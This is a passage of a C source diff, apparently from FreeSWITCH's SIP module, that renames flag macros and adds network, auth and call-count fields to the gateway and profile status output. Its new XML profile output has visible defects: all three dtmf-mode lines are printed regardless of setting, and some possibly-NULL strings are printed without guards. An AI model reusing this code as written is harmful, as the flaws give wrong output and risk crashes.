+						sofia_glue_tech_set_local_sdp(tech_pvt, sdp, SWITCH_TRUE);
 					}
 					if (switch_channel_test_flag(channel, CF_PROXY_MEDIA)) {
+						
 						sofia_glue_tech_patch_sdp(tech_pvt);
+						
 						if (sofia_glue_activate_rtp(tech_pvt, 0) != SWITCH_STATUS_SUCCESS) {
 							status = SWITCH_STATUS_FALSE;
 							goto end_lock;
 						}
 					}
 				} else {
-					if (switch_test_flag(tech_pvt, TFLAG_LATE_NEGOTIATION) || !tech_pvt->iananame) {
-						switch_clear_flag_locked(tech_pvt, TFLAG_LATE_NEGOTIATION);
+					if (sofia_test_flag(tech_pvt, TFLAG_LATE_NEGOTIATION) || !tech_pvt->iananame) {
+						sofia_clear_flag_locked(tech_pvt, TFLAG_LATE_NEGOTIATION);
 						if (!switch_channel_test_flag(tech_pvt->channel, CF_OUTBOUND)) {
 							const char *r_sdp = switch_channel_get_variable(channel, SWITCH_R_SDP_VARIABLE);
 
@@ -1338,23 +1509,25 @@
 				switch_channel_mark_pre_answered(channel);
 
 
-				if (switch_test_flag(tech_pvt, TFLAG_NAT) ||
+				if (sofia_test_flag(tech_pvt, TFLAG_NAT) ||
 					(val = switch_channel_get_variable(channel, "sip-force-contact")) ||
 					((val = switch_channel_get_variable(channel, "sip_sticky_contact")) && switch_true(val))) {
 					sticky = tech_pvt->record_route;
 					switch_channel_set_variable(channel, "sip_nat_detected", "true");
 				}
 
-
-				nua_respond(tech_pvt->nh,
-							SIP_183_SESSION_PROGRESS,
-							NUTAG_AUTOANSWER(0),
-							TAG_IF(sticky, NUTAG_PROXY(tech_pvt->record_route)),
-							SIPTAG_CONTACT_STR(tech_pvt->reply_contact),
-							SOATAG_REUSE_REJECTED(1),
-							SOATAG_ORDERED_USER(1),
-							SOATAG_ADDRESS(tech_pvt->adv_sdp_audio_ip),
-							SOATAG_USER_SDP_STR(tech_pvt->local_sdp_str), SOATAG_AUDIO_AUX("cn telephone-event"), TAG_END());
+				if (!sofia_test_flag(tech_pvt, TFLAG_BYE)) {
+					nua_respond(tech_pvt->nh,
+								SIP_183_SESSION_PROGRESS,
+								NUTAG_AUTOANSWER(0),
+								TAG_IF(sticky, NUTAG_PROXY(tech_pvt->record_route)),
+								SIPTAG_HEADER_STR(generate_pai_str(session)),
+								SIPTAG_CONTACT_STR(tech_pvt->reply_contact),
+								SOATAG_REUSE_REJECTED(1),
+								SOATAG_ORDERED_USER(1),
+								SOATAG_ADDRESS(tech_pvt->adv_sdp_audio_ip),
+								SOATAG_USER_SDP_STR(tech_pvt->local_sdp_str), SOATAG_AUDIO_AUX("cn telephone-event"), TAG_END());
+				}
 			}
 		}
 		break;
@@ -1368,6 +1541,10 @@
 
   end:
 
+	if (switch_channel_down(channel) || !tech_pvt || sofia_test_flag(tech_pvt, TFLAG_BYE)) {
+		status = SWITCH_STATUS_FALSE;
+	}
+
 	return status;
 
 }
@@ -1439,14 +1616,19 @@
 	}
 
 	cb->stream->write_function(cb->stream,
-							   "Call-ID: \t%s\n"
-							   "User:    \t%s@%s\n"
-							   "Contact: \t%s\n"
-							   "Agent:   \t%s\n"
-							   "Status:  \t%s(%s) EXP(%s)\n"
-							   "Host:    \t%s\n\n",
+							   "Call-ID:    \t%s\n"
+							   "User:       \t%s@%s\n"
+							   "Contact:    \t%s\n"
+							   "Agent:      \t%s\n"
+							   "Status:     \t%s(%s) EXP(%s)\n"
+							   "Host:       \t%s\n"
+							   "IP:         \t%s\n"
+							   "Port:       \t%s\n"
+							   "Auth-User:  \t%s\n"
+							   "Auth-Realm: \t%s\n\n",
 							   switch_str_nil(argv[0]), switch_str_nil(argv[1]), switch_str_nil(argv[2]), switch_str_nil(argv[3]),
-							   switch_str_nil(argv[7]), switch_str_nil(argv[4]), switch_str_nil(argv[5]), exp_buf, switch_str_nil(argv[11]));
+							   switch_str_nil(argv[7]), switch_str_nil(argv[4]), switch_str_nil(argv[5]), exp_buf, switch_str_nil(argv[11]),
+							   switch_str_nil(argv[12]), switch_str_nil(argv[13]), switch_str_nil(argv[14]), switch_str_nil(argv[15]));
 	return 0;
 }
 
@@ -1467,16 +1649,22 @@
 	}
 
 	cb->stream->write_function(cb->stream,
-							   "<Registration>\n"
-							   "<Call-ID>%s</Call-ID>\n"
-							   "<User>%s@%s</User>\n"
-							   "<Contact>%s</Contact>\n"
-							   "<Agent>%s</Agent>\n"
-							   "<Status>%s(%s) EXP(%s)</Status>\n"
-							   "<Host>%s</Host>\n"
-							   "</Registration>\n", 
-							   switch_str_nil(argv[0]), switch_str_nil(argv[1]), switch_str_nil(argv[2]), switch_amp_encode(switch_str_nil(argv[3]),xmlbuf,buflen),
-							   switch_str_nil(argv[7]), switch_str_nil(argv[4]), switch_str_nil(argv[5]), exp_buf, switch_str_nil(argv[11]));
+							   "    <registration>\n"
+							   "        <call-id>%s</call-id>\n"
+							   "        <user>%s@%s</user>\n"
+							   "        <contact>%s</contact>\n"
+							   "        <agent>%s</agent>\n"
+							   "        <status>%s(%s) exp(%s)</status>\n"
+							   "        <host>%s</host>\n"
+							   "        <network-ip>%s</network-ip>\n"
+							   "        <network-port>%s</network-port>\n"
+							   "        <sip-auth-user>%s</sip-auth-user>\n"
+							   "        <sip-auth-realm>%s</sip-auth-realm>\n"
+							   "    </registration>\n", 
+							   switch_str_nil(argv[0]), switch_str_nil(argv[1]), switch_str_nil(argv[2]), 
+							   switch_amp_encode(switch_str_nil(argv[3]),xmlbuf,buflen),
+							   switch_str_nil(argv[7]), switch_str_nil(argv[4]), switch_str_nil(argv[5]), exp_buf, switch_str_nil(argv[11]),
+							   switch_str_nil(argv[12]), switch_str_nil(argv[13]), switch_str_nil(argv[14]), switch_str_nil(argv[15]));
 	return 0;
 }
 
@@ -1503,22 +1691,25 @@
 				switch_assert(gp->state < REG_STATE_LAST);
 
 				stream->write_function(stream, "%s\n", line);
-				stream->write_function(stream, "Name    \t\t%s\n", switch_str_nil(gp->name));
-				stream->write_function(stream, "Scheme  \t\t%s\n", switch_str_nil(gp->register_scheme));
-				stream->write_function(stream, "Realm   \t\t%s\n", switch_str_nil(gp->register_realm));
-				stream->write_function(stream, "Username\t\t%s\n", switch_str_nil(gp->register_username));
-				stream->write_function(stream, "Password\t\t%s\n", switch_strlen_zero(gp->register_password) ? "no" : "yes");
-				stream->write_function(stream, "From    \t\t%s\n", switch_str_nil(gp->register_from));
-				stream->write_function(stream, "Contact \t\t%s\n", switch_str_nil(gp->register_contact));
-				stream->write_function(stream, "To      \t\t%s\n", switch_str_nil(gp->register_to));
-				stream->write_function(stream, "Proxy   \t\t%s\n", switch_str_nil(gp->register_proxy));
-				stream->write_function(stream, "Context \t\t%s\n", switch_str_nil(gp->register_context));
-				stream->write_function(stream, "Expires \t\t%s\n", switch_str_nil(gp->expires_str));
-				stream->write_function(stream, "Freq    \t\t%d\n", gp->freq);
-				stream->write_function(stream, "Ping    \t\t%d\n", gp->ping);
-				stream->write_function(stream, "PingFreq\t\t%d\n", gp->ping_freq);
-				stream->write_function(stream, "State   \t\t%s\n", sofia_state_names[gp->state]);
-				stream->write_function(stream, "Status  \t\t%s%s\n", status_names[gp->status], gp->pinging ? " (ping)" : "");
+				stream->write_function(stream, "Name    \t%s\n", switch_str_nil(gp->name));
+				stream->write_function(stream, "Scheme  \t%s\n", switch_str_nil(gp->register_scheme));
+				stream->write_function(stream, "Realm   \t%s\n", switch_str_nil(gp->register_realm));
+				stream->write_function(stream, "Username\t%s\n", switch_str_nil(gp->register_username));
+				stream->write_function(stream, "Password\t%s\n", switch_strlen_zero(gp->register_password) ? "no" : "yes");
+				stream->write_function(stream, "From    \t%s\n", switch_str_nil(gp->register_from));
+				stream->write_function(stream, "Contact \t%s\n", switch_str_nil(gp->register_contact));
+				stream->write_function(stream, "Exten   \t%s\n", switch_str_nil(gp->extension));
+				stream->write_function(stream, "To      \t%s\n", switch_str_nil(gp->register_to));
+				stream->write_function(stream, "Proxy   \t%s\n", switch_str_nil(gp->register_proxy));
+				stream->write_function(stream, "Context \t%s\n", switch_str_nil(gp->register_context));
+				stream->write_function(stream, "Expires \t%s\n", switch_str_nil(gp->expires_str));
+				stream->write_function(stream, "Freq    \t%d\n", gp->freq);
+				stream->write_function(stream, "Ping    \t%d\n", gp->ping);
+				stream->write_function(stream, "PingFreq\t%d\n", gp->ping_freq);
+				stream->write_function(stream, "State   \t%s\n", sofia_state_names[gp->state]);
+				stream->write_function(stream, "Status  \t%s%s\n", status_names[gp->status], gp->pinging ? " (ping)" : "");
+				stream->write_function(stream, "CallsIN \t%d\n", gp->ib_calls);
+				stream->write_function(stream, "CallsOUT\t%d\n", gp->ob_calls);
 				stream->write_function(stream, "%s\n", line);
 				sofia_reg_release_gateway(gp);
 			} else {
@@ -1531,51 +1722,56 @@
 			if ((argv[1]) && (profile = sofia_glue_find_profile(argv[1]))) {
 				if (!argv[2] || strcasecmp(argv[2], "reg")) {
 					stream->write_function(stream, "%s\n", line);
-					stream->write_function(stream, "Name          \t\t%s\n", switch_str_nil(argv[1]));
-					stream->write_function(stream, "Domain Name   \t\t%s\n", profile->domain_name ? profile->domain_name : "N/A");
+					stream->write_function(stream, "Name             \t%s\n", switch_str_nil(argv[1]));
+					stream->write_function(stream, "Domain Name      \t%s\n", profile->domain_name ? profile->domain_name : "N/A");
 					if (strcasecmp(argv[1], profile->name)) {
-						stream->write_function(stream, "Alias Of      \t\t%s\n", switch_str_nil(profile->name));
+					stream->write_function(stream, "Alias Of         \t%s\n", switch_str_nil(profile->name));
 					}
-					stream->write_function(stream, "DBName        \t\t%s\n", switch_str_nil(profile->dbname));
-					stream->write_function(stream, "Pres Hosts    \t\t%s\n", switch_str_nil(profile->presence_hosts));
-					stream->write_function(stream, "Dialplan      \t\t%s\n", switch_str_nil(profile->dialplan));
-					stream->write_function(stream, "Context       \t\t%s\n", switch_str_nil(profile->context));
-					stream->write_function(stream, "Challenge Realm\t\t%s\n", 
+					stream->write_function(stream, "DBName           \t%s\n", switch_str_nil(profile->dbname));
+					stream->write_function(stream, "Pres Hosts       \t%s\n", switch_str_nil(profile->presence_hosts));
+					stream->write_function(stream, "Dialplan         \t%s\n", switch_str_nil(profile->dialplan));
+					stream->write_function(stream, "Context          \t%s\n", switch_str_nil(profile->context));
+					stream->write_function(stream, "Challenge Realm  \t%s\n", 
 										   switch_strlen_zero(profile->challenge_realm) ? "auto_to" : profile->challenge_realm);
-					stream->write_function(stream, "RTP-IP        \t\t%s\n", switch_str_nil(profile->rtpip));
+					stream->write_function(stream, "RTP-IP           \t%s\n", switch_str_nil(profile->rtpip));
 					if (profile->extrtpip) {
-						stream->write_function(stream, "Ext-RTP-IP    \t\t%s\n", profile->extrtpip);
+					stream->write_function(stream, "Ext-RTP-IP       \t%s\n", profile->extrtpip);
 					}
 
-					stream->write_function(stream, "SIP-IP        \t\t%s\n", switch_str_nil(profile->sipip));
+					stream->write_function(stream, "SIP-IP           \t%s\n", switch_str_nil(profile->sipip));
 					if (profile->extsipip) {
-						stream->write_function(stream, "Ext-SIP-IP    \t\t%s\n", profile->extsipip);
+					stream->write_function(stream, "Ext-SIP-IP       \t%s\n", profile->extsipip);
 					}
-					stream->write_function(stream, "URL           \t\t%s\n", switch_str_nil(profile->url));
-					stream->write_function(stream, "BIND-URL      \t\t%s\n", switch_str_nil(profile->bindurl));
+					stream->write_function(stream, "URL              \t%s\n", switch_str_nil(profile->url));
+					stream->write_function(stream, "BIND-URL         \t%s\n", switch_str_nil(profile->bindurl));
 					if (sofia_test_pflag(profile, PFLAG_TLS)) {
-						stream->write_function(stream, "TLS-URL      \t\t%s\n", switch_str_nil(profile->tls_url));
-						stream->write_function(stream, "TLS-BIND-URL      \t%s\n", switch_str_nil(profile->tls_bindurl));
+					stream->write_function(stream, "TLS-URL          \t%s\n", switch_str_nil(profile->tls_url));
+					stream->write_function(stream, "TLS-BIND-URL     \t%s\n", switch_str_nil(profile->tls_bindurl));
 					}
-					stream->write_function(stream, "HOLD-MUSIC    \t\t%s\n", switch_strlen_zero(profile->hold_music) ? "N/A" : profile->hold_music);
-					stream->write_function(stream, "CODECS        \t\t%s\n", switch_str_nil(profile->codec_string));
-					stream->write_function(stream, "TEL-EVENT     \t\t%d\n", profile->te);
+					stream->write_function(stream, "HOLD-MUSIC       \t%s\n", switch_strlen_zero(profile->hold_music) ? "N/A" : profile->hold_music);
+					stream->write_function(stream, "OUTBOUND-PROXY   \t%s\n", switch_strlen_zero(profile->outbound_proxy) ? "N/A" : profile->outbound_proxy);
+					stream->write_function(stream, "CODECS           \t%s\n", switch_str_nil(profile->codec_string));
+					stream->write_function(stream, "TEL-EVENT        \t%d\n", profile->te);
 					if (profile->dtmf_type == DTMF_2833) {
-						stream->write_function(stream, "DTMF-MODE     \t\trfc2833\n");
+					stream->write_function(stream, "DTMF-MODE        \trfc2833\n");
 					} else if (profile->dtmf_type == DTMF_INFO) {
-						stream->write_function(stream, "DTMF-MODE     \t\tinfo\n");
+					stream->write_function(stream, "DTMF-MODE        \tinfo\n");
 					} else {
-						stream->write_function(stream, "DTMF-MODE     \t\tnone\n");
+					stream->write_function(stream, "DTMF-MODE        \tnone\n");
 					}
-					stream->write_function(stream, "CNG           \t\t%d\n", profile->cng_pt);
-					stream->write_function(stream, "SESSION-TO    \t\t%d\n", profile->session_timeout);
-					stream->write_function(stream, "MAX-DIALOG    \t\t%d\n", profile->max_proceeding);
-					stream->write_function(stream, "NOMEDIA       \t\t%s\n", switch_test_flag(profile, TFLAG_INB_NOMEDIA) ? "true" : "false");
-					stream->write_function(stream, "LATE-NEG      \t\t%s\n", switch_test_flag(profile, TFLAG_LATE_NEGOTIATION) ? "true" : "false");
-					stream->write_function(stream, "PROXY-MEDIA   \t\t%s\n", switch_test_flag(profile, TFLAG_PROXY_MEDIA) ? "true" : "false");
-					stream->write_function(stream, "AGGRESSIVENAT \t\t%s\n", sofia_test_pflag(profile, PFLAG_AGGRESSIVE_NAT_DETECTION) ? "true" : "false");
-					stream->write_function(stream, "STUN_ENABLED \t\t%s\n", sofia_test_pflag(profile, PFLAG_STUN_ENABLED) ? "true" : "false");
-					stream->write_function(stream, "STUN_AUTO_DISABLE \t%s\n", sofia_test_pflag(profile, PFLAG_STUN_AUTO_DISABLE) ? "true" : "false");
+					stream->write_function(stream, "CNG              \t%d\n", profile->cng_pt);
+					stream->write_function(stream, "SESSION-TO       \t%d\n", profile->session_timeout);
+					stream->write_function(stream, "MAX-DIALOG       \t%d\n", profile->max_proceeding);
+					stream->write_function(stream, "NOMEDIA          \t%s\n", sofia_test_flag(profile, TFLAG_INB_NOMEDIA) ? "true" : "false");
+					stream->write_function(stream, "LATE-NEG         \t%s\n", sofia_test_flag(profile, TFLAG_LATE_NEGOTIATION) ? "true" : "false");
+					stream->write_function(stream, "PROXY-MEDIA      \t%s\n", sofia_test_flag(profile, TFLAG_PROXY_MEDIA) ? "true" : "false");
+					stream->write_function(stream, "AGGRESSIVENAT    \t%s\n", sofia_test_pflag(profile, PFLAG_AGGRESSIVE_NAT_DETECTION) ? "true" : "false");
+					stream->write_function(stream, "STUN-ENABLED     \t%s\n", sofia_test_pflag(profile, PFLAG_STUN_ENABLED) ? "true" : "false");
+					stream->write_function(stream, "STUN-AUTO-DISABLE\t%s\n", sofia_test_pflag(profile, PFLAG_STUN_AUTO_DISABLE) ? "true" : "false");
+					stream->write_function(stream, "CALLS-IN         \t%d\n", profile->ib_calls);
+					stream->write_function(stream, "FAILED-CALLS-IN  \t%d\n", profile->ib_failed_calls);
+					stream->write_function(stream, "CALLS-OUT        \t%d\n", profile->ob_calls);
+					stream->write_function(stream, "FAILED-CALLS-OUT \t%d\n", profile->ob_failed_calls);
 				}
 				stream->write_function(stream, "\nRegistrations:\n%s\n", line);
 
@@ -1586,13 +1782,15 @@
 					if (argv[4]) {
 						if (!strcasecmp(argv[3], "pres")) {
 							sql = switch_mprintf("select call_id,sip_user,sip_host,contact,status,"
-												 "rpid,expires,user_agent,server_user,server_host,profile_name,hostname"
+												 "rpid,expires,user_agent,server_user,server_host,profile_name,hostname,"
+												 "network_ip,network_port,sip_username,sip_realm"
 												 " from sip_registrations where profile_name='%q' and presence_hosts like '%%%q%%'", 
 												 profile->name, argv[4]);
 						}
 					} else {
 						sql = switch_mprintf("select call_id,sip_user,sip_host,contact,status,"
-											 "rpid,expires,user_agent,server_user,server_host,profile_name,hostname"
+											 "rpid,expires,user_agent,server_user,server_host,profile_name,hostname,"
+											 "network_ip,network_port,sip_username,sip_realm"
 											 " from sip_registrations where profile_name='%q' and contact like '%%%q%%'", 
 											 profile->name, argv[3]);
 					}
@@ -1600,7 +1798,8 @@
 
 				if (!sql) {
 					sql = switch_mprintf("select call_id,sip_user,sip_host,contact,status,"
-										 "rpid,expires,user_agent,server_user,server_host,profile_name,hostname"
+										 "rpid,expires,user_agent,server_user,server_host,profile_name,hostname,"
+										 "network_ip,network_port,sip_username,sip_realm"
 										 " from sip_registrations where profile_name='%q'", 
 										 profile->name);
 				}
@@ -1647,7 +1846,7 @@
 					switch_assert(gp->state < REG_STATE_LAST);
 					stream->write_function(stream, "%25s\t%s\t  %32s\t%s", gp->name, "gateway", gp->register_to, sofia_state_names[gp->state]);
 					if (gp->state == REG_STATE_FAILED || gp->state == REG_STATE_TRYING) {
-						time_t now = switch_timestamp(NULL);
+						time_t now = switch_epoch_time_now(NULL);
 						if (gp->retry > now) {
 							stream->write_function(stream, " (retry: %ds)", gp->retry - now);
 						} else {
@@ -1686,25 +1885,29 @@
 		if (!strcasecmp(argv[0], "gateway")) {
 			if ((gp = sofia_reg_find_gateway(argv[1]))) {
 				switch_assert(gp->state < REG_STATE_LAST);
-        stream->write_function(stream, "%s\n", header);
-        stream->write_function(stream, "<Gateway>\n");
-				stream->write_function(stream, "<Name>%s</Name>\n", switch_str_nil(gp->name));
-				stream->write_function(stream, "<Scheme>%s</Scheme>\n", switch_str_nil(gp->register_scheme));
-				stream->write_function(stream, "<Realm>%s</Realm>\n", switch_str_nil(gp->register_realm));
-				stream->write_function(stream, "<Username>%s</Username>\n", switch_str_nil(gp->register_username));
-				stream->write_function(stream, "<Password>%s</Password>\n", switch_strlen_zero(gp->register_password) ? "no" : "yes");
-				stream->write_function(stream, "<From>%s</From>\n", switch_amp_encode(switch_str_nil(gp->register_from),xmlbuf,buflen));
-				stream->write_function(stream, "<Contact>%s</Contact>\n", switch_amp_encode(switch_str_nil(gp->register_contact),xmlbuf,buflen));
-				stream->write_function(stream, "<To>%s</To>\n", switch_str_nil(gp->register_to));
-				stream->write_function(stream, "<Proxy>%s</Proxy>\n", switch_str_nil(gp->register_proxy));
-				stream->write_function(stream, "<Context>%s</Context>\n", switch_str_nil(gp->register_context));
-				stream->write_function(stream, "<Expires>%s</Expires>\n", switch_str_nil(gp->expires_str));
-				stream->write_function(stream, "<Freq>%d</Freq>\n", gp->freq);
-				stream->write_function(stream, "<Ping>%d</Ping>\n", gp->ping);
-				stream->write_function(stream, "<PingFreq>%d</PingFreq>\n", gp->ping_freq);
-				stream->write_function(stream, "<State>%s</State>\n", sofia_state_names[gp->state]);
-				stream->write_function(stream, "<Status>%s%s</Status>\n", status_names[gp->status], gp->pinging ? " (ping)" : "");
-				stream->write_function(stream, "</Gateway>\n");
+				stream->write_function(stream, "%s\n", header);
+				stream->write_function(stream, "  <gateway>\n");
+				stream->write_function(stream, "    <name>%s</name>\n", switch_str_nil(gp->name));
+				stream->write_function(stream, "    <scheme>%s</scheme>\n", switch_str_nil(gp->register_scheme));
+				stream->write_function(stream, "    <realm>%s</realm>\n", switch_str_nil(gp->register_realm));
+				stream->write_function(stream, "    <username>%s</username>\n", switch_str_nil(gp->register_username));
+				stream->write_function(stream, "    <password>%s</password>\n", switch_strlen_zero(gp->register_password) ? "no" : "yes");
+				stream->write_function(stream, "    <from>%s</from>\n", switch_amp_encode(switch_str_nil(gp->register_from),xmlbuf,buflen));
+				stream->write_function(stream, "    <contact>%s</contact>\n", switch_amp_encode(switch_str_nil(gp->register_contact),xmlbuf,buflen));
+				stream->write_function(stream, "    <exten>%s</exten>\n", switch_amp_encode(switch_str_nil(gp->extension),xmlbuf,buflen));
+				stream->write_function(stream, "    <to>%s</to>\n", switch_str_nil(gp->register_to));
+				stream->write_function(stream, "    <proxy>%s</proxy>\n", switch_str_nil(gp->register_proxy));
+				stream->write_function(stream, "    <context>%s</context>\n", switch_str_nil(gp->register_context));
+				stream->write_function(stream, "    <expires>%s</expires>\n", switch_str_nil(gp->expires_str));
+				stream->write_function(stream, "    <freq>%d</freq>\n", gp->freq);
+				stream->write_function(stream, "    <ping>%d</ping>\n", gp->ping);
+				stream->write_function(stream, "    <pingfreq>%d</pingfreq>\n", gp->ping_freq);
+				stream->write_function(stream, "    <state>%s</state>\n", sofia_state_names[gp->state]);
+				stream->write_function(stream, "    <status>%s%s</status>\n", status_names[gp->status], gp->pinging ? " (ping)" : "");
+				stream->write_function(stream, "    <calls-in>%d</calls-in>\n", gp->ib_calls);
+				stream->write_function(stream, "    <calls-out>%d</calls-out>\n", gp->ob_calls);
+
+				stream->write_function(stream, "  </gateway>\n");
 				sofia_reg_release_gateway(gp);
 			} else {
 				stream->write_function(stream, "Invalid Gateway!\n");
@@ -1714,58 +1917,54 @@
 			char *sql = NULL;
 
 			if ((argv[1]) && (profile = sofia_glue_find_profile(argv[1]))) {
+				stream->write_function(stream, "%s\n", header);
+				stream->write_function(stream, "<profile>\n");
 				if (!argv[2] || strcasecmp(argv[2], "reg")) {
-					stream->write_function(stream, "%s\n", header);
-					stream->write_function(stream, "<Profile>\n");
-					stream->write_function(stream, "<ProfileInfo>\n");
-					stream->write_function(stream, "<Name>%s</Name>\n", switch_str_nil(argv[1]));
-					stream->write_function(stream, "<DomainName>%s</DomainName>\n", profile->domain_name ? profile->domain_name : "N/A");
+					stream->write_function(stream, "  <profile-info>\n");
+					stream->write_function(stream, "    <name>%s</name>\n", switch_str_nil(argv[1]));
+					stream->write_function(stream, "    <domain-name>%s</domain-name>\n", profile->domain_name ? profile->domain_name : "N/A");
 					if (strcasecmp(argv[1], profile->name)) {
-						stream->write_function(stream, "<AliasOf>%s</AliasOf>\n", switch_str_nil(profile->name));
+						stream->write_function(stream, "    <alias-of>%s</alias-of>\n", switch_str_nil(profile->name));
 					}
-					stream->write_function(stream, "<DBName>%s</DBName>\n", switch_str_nil(profile->dbname));
-					stream->write_function(stream, "<PresHosts>%s</PresHosts>\n", switch_str_nil(profile->presence_hosts));
-					stream->write_function(stream, "<Dialplan>%s</Dialplan>\n", switch_str_nil(profile->dialplan));
-					stream->write_function(stream, "<Context>%s</Context>\n", switch_str_nil(profile->context));
-					stream->write_function(stream, "<ChallengeRealm>%s</ChallengeRealm>\n", 
+					stream->write_function(stream, "    <db-name>%s</db-name>\n", switch_str_nil(profile->dbname));
+					stream->write_function(stream, "    <pres-hosts>%s</pres-hosts>\n", switch_str_nil(profile->presence_hosts));
+					stream->write_function(stream, "    <dialplan>%s</dialplan>\n", switch_str_nil(profile->dialplan));
+					stream->write_function(stream, "    <context>%s</context>\n", switch_str_nil(profile->context));
+					stream->write_function(stream, "    <challenge-realm>%s</challenge-realm>\n", 
 										   switch_strlen_zero(profile->challenge_realm) ? "auto_to" : profile->challenge_realm);
-					stream->write_function(stream, "<RTP-IP>%s</RTP-IP>\n", switch_str_nil(profile->rtpip));
-					if (profile->extrtpip) {
-						stream->write_function(stream, "<Ext-RTP-IP>%s</Ext-RTP-IP>\n", profile->extrtpip);
-					}
-
-					stream->write_function(stream, "<SIP-IP>%s</SIP-IP>\n", switch_str_nil(profile->sipip));
-					if (profile->extsipip) {
-						stream->write_function(stream, "<Ext-SIP-IP>%s</Ext-SIP-IP>\n", profile->extsipip);
-					}
-					stream->write_function(stream, "<URL>%s</URL>\n", switch_str_nil(profile->url));
-					stream->write_function(stream, "<BIND-URL>%s</BIND-URL>\n", switch_str_nil(profile->bindurl));
-					if (sofia_test_pflag(profile, PFLAG_TLS)) {
-						stream->write_function(stream, "<TLS-URL>%s</TLS-URL>\n", switch_str_nil(profile->tls_url));
-						stream->write_function(stream, "<TLS-BIND-URL>%s</TLS-BIND-URL>\n", switch_str_nil(profile->tls_bindurl));
-					}
-					stream->write_function(stream, "<HOLD-MUSIC>%s</HOLD-MUSIC>\n", switch_strlen_zero(profile->hold_music) ? "N/A" : profile->hold_music);
-					stream->write_function(stream, "<CODECS>%s</CODECS>\n", switch_str_nil(profile->codec_string));
-					stream->write_function(stream, "<TEL-EVENT>%d</TEL-EVENT>\n", profile->te);
-					if (profile->dtmf_type == DTMF_2833) {
-						stream->write_function(stream, "<DTMF-MODE>rfc2833</DTMF-MODE>\n");
-					} else if (profile->dtmf_type == DTMF_INFO) {
-						stream->write_function(stream, "<DTMF-MODE>info</DTMF-MODE>\n");
-					} else {
-						stream->write_function(stream, "<DTMF-MODE>none</DTMF-MODE>\n");
-					}
-					stream->write_function(stream, "<CNG>%d</CNG>\n", profile->cng_pt);
-					stream->write_function(stream, "<SESSION-TO>%d</SESSION-TO>\n", profile->session_timeout);
-					stream->write_function(stream, "<MAX-DIALOG>%d</MAX-DIALOG>\n", profile->max_proceeding);
-					stream->write_function(stream, "<NOMEDIA>%s</NOMEDIA>\n", switch_test_flag(profile, TFLAG_INB_NOMEDIA) ? "true" : "false");
-					stream->write_function(stream, "<LATE-NEG>%s</LATE-NEG>\n", switch_test_flag(profile, TFLAG_LATE_NEGOTIATION) ? "true" : "false");
-					stream->write_function(stream, "<PROXY-MEDIA>%s</PROXY-MEDIA>\n", switch_test_flag(profile, TFLAG_PROXY_MEDIA) ? "true" : "false");
-					stream->write_function(stream, "<AGGRESSIVENAT>%s</AGGRESSIVENAT>\n", sofia_test_pflag(profile, PFLAG_AGGRESSIVE_NAT_DETECTION) ? "true" : "false");
-					stream->write_function(stream, "<STUN_ENABLED>%s</STUN_ENABLED>\n", sofia_test_pflag(profile, PFLAG_STUN_ENABLED) ? "true" : "false");
-					stream->write_function(stream, "<STUN_AUTO_DISABLE>%s</STUN_AUTO_DISABLE>\n", sofia_test_pflag(profile, PFLAG_STUN_AUTO_DISABLE) ? "true" : "false");
+					stream->write_function(stream, "    <rtp-ip>%s</rtp-ip>\n", switch_str_nil(profile->rtpip));
+					stream->write_function(stream, "    <ext-rtp-ip>%s</ext-rtp-ip>\n", profile->extrtpip);
+					stream->write_function(stream, "    <sip-ip>%s</sip-ip>\n", switch_str_nil(profile->sipip));
+					stream->write_function(stream, "    <ext-sip-ip>%s</ext-sip-ip>\n", profile->extsipip);
+					stream->write_function(stream, "    <url>%s</url>\n", switch_str_nil(profile->url));
+					stream->write_function(stream, "    <bind-url>%s</bind-url>\n", switch_str_nil(profile->bindurl));
+					stream->write_function(stream, "    <tls-url>%s</tls-url>\n", switch_str_nil(profile->tls_url));
+					stream->write_function(stream, "    <tls-bind-url>%s</tls-bind-url>\n", switch_str_nil(profile->tls_bindurl));
+					stream->write_function(stream, "    <hold-music>%s</hold-music>\n", switch_strlen_zero(profile->hold_music) ? "N/A" : profile->hold_music);
+					stream->write_function(stream, "    <outbound-proxy>%s</outbound-proxy>\n", switch_strlen_zero(profile->outbound_proxy) ? "N/A" : profile->outbound_proxy);
+					stream->write_function(stream, "    <codecs>%s</codecs>\n", switch_str_nil(profile->codec_string));
+					stream->write_function(stream, "    <tel-event>%d</tel-event>\n", profile->te);
+					stream->write_function(stream, "    <dtmf-mode>rfc2833</dtmf-mode>\n");
+					stream->write_function(stream, "    <dtmf-mode>info</dtmf-mode>\n");
+					stream->write_function(stream, "    <dtmf-mode>none</dtmf-mode>\n");
+					stream->write_function(stream, "    <cng>%d</cng>\n", profile->cng_pt);
+					stream->write_function(stream, "    <session-to>%d</session-to>\n", profile->session_timeout);
+					stream->write_function(stream, "    <max-dialog>%d</max-dialog>\n", profile->max_proceeding);
+					stream->write_function(stream, "    <nomedia>%s</nomedia>\n", sofia_test_flag(profile, TFLAG_INB_NOMEDIA) ? "true" : "false");
+					stream->write_function(stream, "    <late-neg>%s</late-neg>\n", sofia_test_flag(profile, TFLAG_LATE_NEGOTIATION) ? "true" : "false");
+					stream->write_function(stream, "    <proxy-media>%s</proxy-media>\n", sofia_test_flag(profile, TFLAG_PROXY_MEDIA) ? "true" : "false");
+					stream->write_function(stream, "    <aggressive-nat>%s</aggressive-nat>\n", 
+										   sofia_test_pflag(profile, PFLAG_AGGRESSIVE_NAT_DETECTION) ? "true" : "false");
+					stream->write_function(stream, "    <stun-enabled>%s</stun-enabled>\n", sofia_test_pflag(profile, PFLAG_STUN_ENABLED) ? "true" : "false");
+					stream->write_function(stream, "    <stun-auto-disable>%s</stun-auto-disable>\n", 
+										   sofia_test_pflag(profile, PFLAG_STUN_AUTO_DISABLE) ? "true" : "false");
+					stream->write_function(stream, "    <calls-in>%d</calls-in>\n", profile->ib_calls);
+					stream->write_function(stream, "    <calls-out>%d</calls-out>\n", profile->ob_calls);
+					stream->write_function(stream, "    <failed-calls-in>%d</failed-calls-in>\n", profile->ib_failed_calls);
+					stream->write_function(stream, "    <failed-calls-out>%d</failed-calls-out>\n", profile->ob_failed_calls);
+					stream->write_function(stream, "  </profile-info>\n");
 				}
-				stream->write_function(stream, "</ProfileInfo>\n");
-				stream->write_function(stream, "<Registrations>\n");
+				stream->write_function(stream, "  <registrations>\n");
 
 				cb.profile = profile;
 				cb.stream = stream;
@@ -1774,13 +1973,15 @@
 					if (argv[4]) {
 						if (!strcasecmp(argv[3], "pres")) {
 							sql = switch_mprintf("select call_id,sip_user,sip_host,contact,status,"
-												 "rpid,expires,user_agent,server_user,server_host,profile_name,hostname"
+												 "rpid,expires,user_agent,server_user,server_host,profile_name,hostname,"
